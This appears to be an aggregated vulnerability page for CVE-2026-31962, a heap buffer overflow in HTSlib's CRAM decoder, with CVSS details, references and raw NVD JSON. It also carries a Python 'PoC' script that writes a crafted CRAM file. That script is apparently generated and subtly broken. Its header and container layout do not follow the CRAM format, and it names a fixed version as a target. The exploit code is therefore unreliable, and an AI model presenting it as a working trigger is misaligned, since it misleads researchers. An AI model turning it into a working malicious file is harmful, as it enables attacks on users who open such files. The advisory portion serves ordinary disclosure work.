CVE-2026-31962

Description

HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. While most alignment records store DNA sequence and quality values, the format also allows them to omit this data in certain cases to save space. Due to some quirks of the CRAM format, it is necessary to handle these records carefully as they will actually store data that needs to be consumed and then discarded. Unfortunately the `cram_decode_seq()` did not handle this correctly in some cases. Where this happened it could result in reading a single byte from beyond the end of a heap allocation, followed by writing a single attacker-controlled byte to the same location. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:htslib:htslib:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:htslib:htslib:1.23:*:*:*:*:*:*:* - VULNERABLE

htslib < 1.21.1

htslib < 1.22.2

htslib < 1.23.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2026-31962 PoC - HTSlib CRAM heap buffer overflow
This PoC demonstrates the vulnerability in HTSlib's CRAM format parsing.
Generated for security research purposes only.
"""

import struct
import sys

def create_malicious_cram():
    """
    Create a minimal CRAM file that triggers the heap buffer overflow
    in cram_decode_seq() function.
    """
    # CRAM file header
    header = bytearray()
    header.extend(b'CRAM')  # Magic number
    header.extend(struct.pack('<I', 3))  # Version 3.0
    header.extend(struct.pack('<I', 0))  # File ID
    
    # Container header
    container = bytearray()
    container.extend(struct.pack('<Q', 1))  # Block count
    container.extend(struct.pack('<Q', 100))  # Total size
    
    # Block with malicious data to trigger overflow
    block = bytearray()
    block_type = 0x02  # Compression header block
    block_content_id = 0x00
    
    # Craft payload that causes off-by-one read/write in heap
    # This triggers the vulnerability when parsing CRAM records
    # with omitted sequence/quality data
    payload = bytearray([
        0x00, 0x01, 0x00, 0x00,  # Record type and flags
        0xFF, 0xFF, 0xFF, 0xFF,  # Bit flags indicating no seq/qual
        0x00, 0x00, 0x00, 0x01,  # Sequence length (triggers boundary)
        0x00, 0x00, 0x00, 0x00,  # Quality length
        0x41, 0x42, 0x43, 0x44,  # Padding data (controlled by attacker)
    ])
    
    block_data = bytes(payload)
    block_size = len(block_data) + 8  # + header bytes
    
    block_header = struct.pack('>BBHI', block_type, block_content_id, 
                                0, block_size)
    block = block_header + block_data
    
    return bytes(header + container + block)

if __name__ == '__main__':
    print('[+] Generating PoC for CVE-2026-31962')
    print('[+] Target: samtools/htslib <= 1.21.1')
    print('[+] Vulnerability: Heap buffer overflow in cram_decode_seq()')
    
    malicious_cram = create_malicious_cram()
    
    output_file = 'CVE-2026-31962_poc.cram'
    with open(output_file, 'wb') as f:
        f.write(malicious_cram)
    
    print(f'[+] PoC file created: {output_file}')
    print(f'[+] File size: {len(malicious_cram)} bytes')
    print('[!] This file triggers heap buffer overflow when opened by vulnerable htslib')
    print('[!] Exploitation may lead to code execution or denial of service')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31962
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31962
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31962/
[4] VulDB https://vuldb.com/cve/CVE-2026-31962
[5] https://github.com/samtools/htslib/commit/d799b54c6401879187bba4741be83ff590ac73e3
[6] https://github.com/samtools/htslib/security/advisories/GHSA-xxmp-v7h3-gpwp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31962", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:28.190", "lastModified": "2026-03-19T17:30:45.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. While most alignment records store DNA sequence and quality values, the format also allows them to omit this data in certain cases to save space. Due to some quirks of the CRAM format, it is necessary to handle these records carefully as they will actually store data that needs to be consumed and then discarded. Unfortunately the `cram_decode_seq()` did not handle this correctly in some cases. Where this happened it could result in reading a single byte from beyond the end of a heap allocation, followed by writing a single attacker-controlled byte to the same location. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue."}, {"lang": "es", "value": "HTSlib es una biblioteca para leer y escribir formatos de archivo bioinformáticos. CRAM es un formato comprimido que almacena datos de alineación de secuencias de ADN. Si bien la mayoría de los registros de alineación almacenan valores de secuencia de ADN y de calidad, el formato también permite omitir estos datos en ciertos casos para ahorrar espacio. Debido a algunas peculiaridades del formato CRAM, es necesario manejar estos registros con cuidado, ya que en realidad almacenarán datos que deben ser consumidos y luego descartados. Desafortunadamente, `cram_decode_seq()` no manejó esto correctamente en algunos casos. Donde esto ocurrió, podría resultar en la lectura de un solo byte más allá del final de una asignación de montón, seguido de la escritura de un solo byte controlado por el atacante en la misma ubicación. Explotar este error causa un desbordamiento de búfer de montón. Si un usuario abre un archivo diseñado para explotar este problema, podría provocar el bloqueo del programa o la sobrescritura de datos y estructuras de montón de formas no esperadas por el programa. Podría ser posible usar esto para obtener ejecución de código arbitrario. Las versiones 1.23.1, 1.22.2 y 1.21.1 incluyen correcciones para este problema. No hay una solución alternativa para este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-129"}, {"lang": "en", "value": "CWE-787"}]}], "configurations ... (truncated)